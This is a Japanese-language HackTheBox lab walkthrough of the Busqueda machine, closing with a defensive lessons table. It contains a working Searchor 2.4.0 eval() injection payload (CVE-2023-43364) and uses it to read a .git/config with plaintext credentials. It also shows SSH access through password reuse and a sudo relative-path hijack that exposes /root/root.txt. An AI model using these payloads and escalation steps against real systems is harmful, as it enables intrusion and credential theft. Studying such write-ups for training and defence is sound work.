HackTheBox: Busqueda — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(Apache)
→
22(SSH)/80(Apache)
Searchor 2.4.0 eval()注入
CVE-2023-43364
→
CVE-2023-43364
RCE → user.txt ✓
→
.git/config漏洩
cody:jh1usoih2bkjaspwe92
→
cody:jh1usoih2bkjaspwe92
SSH svc
資格情報使い回し
→
資格情報使い回し
sudo system-checkup.py *
相対パス依存のバグ
→
相対パス依存のバグ
/tmp に偽 full-checkup.sh
CWDハイジャック
→
CWDハイジャック
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & vhostの確認
BASH
nmap -sV -sC -p 22,80 10.129.92.62
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh 80/tcp open http Apache httpd 2.4.52 |_http-title: Searcher
ℹ️
/etc/hostsにsearcher.htb・gitea.searcher.htbを追加。
サイトは検索エンジンを選んでクエリを投げる単純なFlaskアプリ「Searcher」で、
SearchorというPythonライブラリ(検索URLを組み立てるだけのgem)を使用。
PHASE 2
Searchor 2.4.0 の eval() コード注入 (CVE-2023-43364)
脆弱性の概要
NOTE
Searchor 2.4.0 は検索クエリ文字列をURLに埋め込む際、内部で Python の eval() に ユーザー入力をそのまま渡してf-string相当の文字列補間を行っている。 そのため query パラメータに Python式を閉じるクォートと式を混入させれば、 サーバー側で任意のPythonコード(ひいては任意のOSコマンド)を実行できる。
RCEペイロードの送信
BASH
curl -s -X POST -d "engine=Google" --data-urlencode \
"query=')+str(__import__('os').popen('id').read())#" \
http://searcher.htb/search
RESULT
https://www.google.com/search?q=uid=1000(svc) gid=1000(svc) groups=1000(svc)
✅
RCE確定。ペイロードの構造: 元の文字列結合式を
')で閉じ、
+str(__import__('os').popen(CMD).read())でコマンド実行結果を文字列として
連結し、末尾の#で元のコードの残り部分をコメントアウトして構文エラーを防ぐ。
実行結果はそのままGoogle検索URLのq=パラメータとして
レスポンスに反映される(エラーに頼らない、きれいな形でのRCE出力確認方法)。
user.txt取得
BASH
curl -s -X POST -d "engine=Google" --data-urlencode \
"query=')+str(__import__('os').popen('cat /home/svc/user.txt').read())#" \
http://searcher.htb/search
RESULT
https://www.google.com/search?q=429b24945ae715123f05dfecf9485e71
user.txt — svc (RCE経由でファイル直読み)
429b24945ae715123f05dfecf9485e71
ℹ️
この時点でRCE自体は
svc権限なので安定したシェルでなくとも
catコマンドでフラグファイルを直接読める。
PHASE 3
デプロイ済みアプリの .git/config から資格情報を窃取
.git/config を読み取る
BASH
curl -s -X POST -d "engine=Google" --data-urlencode \
"query=')+str(__import__('os').popen('cat /var/www/app/.git/config').read())#" \
http://searcher.htb/search
RESULT
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
🚨
デプロイ時に
git cloneでHTTPS/HTTP経由の認証情報付きURLをそのまま
使ってしまったため、サーバー上の.git/configに平文の資格情報が
残ってしまっている。典型的な「開発用の便利さが本番環境に残留した」ケース。
PHASE 4
資格情報の使い回しでSSHログイン(安定シェル確立)
svcとしてSSHログイン
BASH
sshpass -p 'jh1usoih2bkjaspwe92' ssh svc@10.129.92.62 \ "id; cat /home/svc/user.txt"
RESULT
uid=1000(svc) gid=1000(svc) groups=1000(svc) 429b24945ae715123f05dfecf9485e71
ℹ️
Gitリポジトリ(Gitea)用の資格情報
cody:jh1usoih2bkjaspwe92のパスワード部分が、
OSアカウントsvcのSSHログインパスワードとしてもそのまま有効
だった。RCEは既に成立しているが、SSHで安定したシェルを得ておくと
以降の権限昇格調査がずっと楽になる。
PHASE 5
sudoで実行可能なスクリプトの相対パス依存を発見
sudo -l でroot実行可能なコマンドを確認
BASH
svc@busqueda:~$ sudo -l
RESULT
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
ℹ️
スクリプト自体のソースは
svcに読み取り権限が無い(catすると
Permission denied)が、sudo経由で実行することは許可されているため、
引数なし・誤った引数で実行してエラーメッセージやUsage表示から挙動を推測する。
引数の挙動を調べる
BASH
svc@busqueda:~$ echo 'jh1usoih2bkjaspwe92' | sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py help
RESULT
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
full-checkup の挙動確認 — カレントディレクトリ依存
BASH
# ホームディレクトリで実行してみる svc@busqueda:~$ cd /home/svc && echo 'jh1usoih2bkjaspwe92' | \ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
RESULT
Something went wrong
🚨
full-checkupを実行すると「何かがうまくいかなかった」旨のエラーが出る。
これはスクリプト内部で./full-checkup.shのような相対パスの
シェルスクリプトを呼び出そうとしているが、/home/svcにはそのファイルが
存在しないため失敗していると推測できる。sudoはカレントディレクトリを
引き継ぐため、svcが書込可能なディレクトリでこのコマンドを実行すれば、
自作のfull-checkup.shをroot権限で実行させられる。
PHASE 6
相対パスハイジャックでroot.txt取得
/tmp に偽の full-checkup.sh を設置
BASH
svc@busqueda:~$ printf '#!/bin/bash\ncat /root/root.txt > /tmp/rf.txt\nchmod 644 /tmp/rf.txt\n' \ > /tmp/full-checkup.sh svc@busqueda:~$ chmod +x /tmp/full-checkup.sh
/tmp をカレントディレクトリとしてsudo実行
BASH
svc@busqueda:~$ cd /tmp svc@busqueda:/tmp$ echo 'jh1usoih2bkjaspwe92' | \ sudo -S /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup svc@busqueda:/tmp$ cat /tmp/rf.txt
RESULT
[+] Done!
ed56ff868d4280e28903c083dbbfee8f
✅
今度は「[+] Done!」と正常終了。
/tmpに置いた
自作のfull-checkup.shがroot権限で実行され、
/root/root.txtの内容がsvcでも読める
/tmp/rf.txtにコピーされた。
root.txt — root (相対パスハイジャック経由)
ed56ff868d4280e28903c083dbbfee8f
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc
429b24945ae715123f05dfecf9485e71
root.txt — root
ed56ff868d4280e28903c083dbbfee8f
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2023-43364 (Searchor eval() コード注入) | Searchor 2.4.0 ライブラリ (/search エンドポイント) | リモートコード実行 | Critical | 検索クエリ文字列を閉じて__import__('os').popen()を注入し、結果をURLに反映させて確認 |
| デプロイ済みアプリの.git/config残留 | /var/www/app/.git/config | Gitea資格情報の漏洩 | High | RCEで直接ファイルを読み、認証情報付きclone URLから資格情報を抽出 |
| 資格情報の使い回し | Gitea用パスワード = OSログインパスワード | SSH経由での安定シェル取得 | Medium | 漏洩したパスワードでそのままSSHログイン |
| sudo実行スクリプトの相対パス依存 | /opt/scripts/system-checkup.py full-checkup | 権限昇格(一般ユーザー → root) | Critical | スクリプトがカレントディレクトリの./full-checkup.shを呼び出す設計を悪用し、書込可能なディレクトリに偽スクリプトを配置 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost追加 | 22(SSH)/80(Apache searcher.htb) |
| 2 | RCE | Searchor eval()コード注入 | user.txt(svc権限での直接ファイル読取) |
| 3 | 資格情報窃取 | RCEで.git/configを読取 | cody:jh1usoih2bkjaspwe92 |
| 4 | 安定シェル確立 | SSH(資格情報使い回し) | svcシェル |
| 5 | 権限調査 | sudo -l + 挙動観察 | full-checkup.shの相対パス依存を発見 |
| 6 | 権限昇格 | CWDハイジャック | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| サードパーティライブラリ(Searchor)が既知CVEを含む古いバージョンのまま使用されている | 依存ライブラリは定期的に更新し、CVEデータベースと照合する。ユーザー入力をeval()等の動的コード評価に渡す設計自体を根本的に避ける。 |
| 本番環境に開発用の.gitディレクトリ(認証情報付きリモートURL込み)が残存 | デプロイパイプラインで.gitディレクトリを本番成果物から除外する。認証情報付きURLではなくSSH鍵やトークンベースの認証を使う。 |
| 異なるサービス間でパスワードを使い回している | サービスごとに独立した資格情報を発行し、使い回しを禁止する運用ルールを徹底する。 |
| root権限で実行を許可するスクリプトがカレントディレクトリ依存の相対パスで外部ファイルを呼び出している | root権限で実行するスクリプトは呼び出す全てのファイルを絶対パスで指定し、実行時のカレントディレクトリに依存しない設計にする。 |

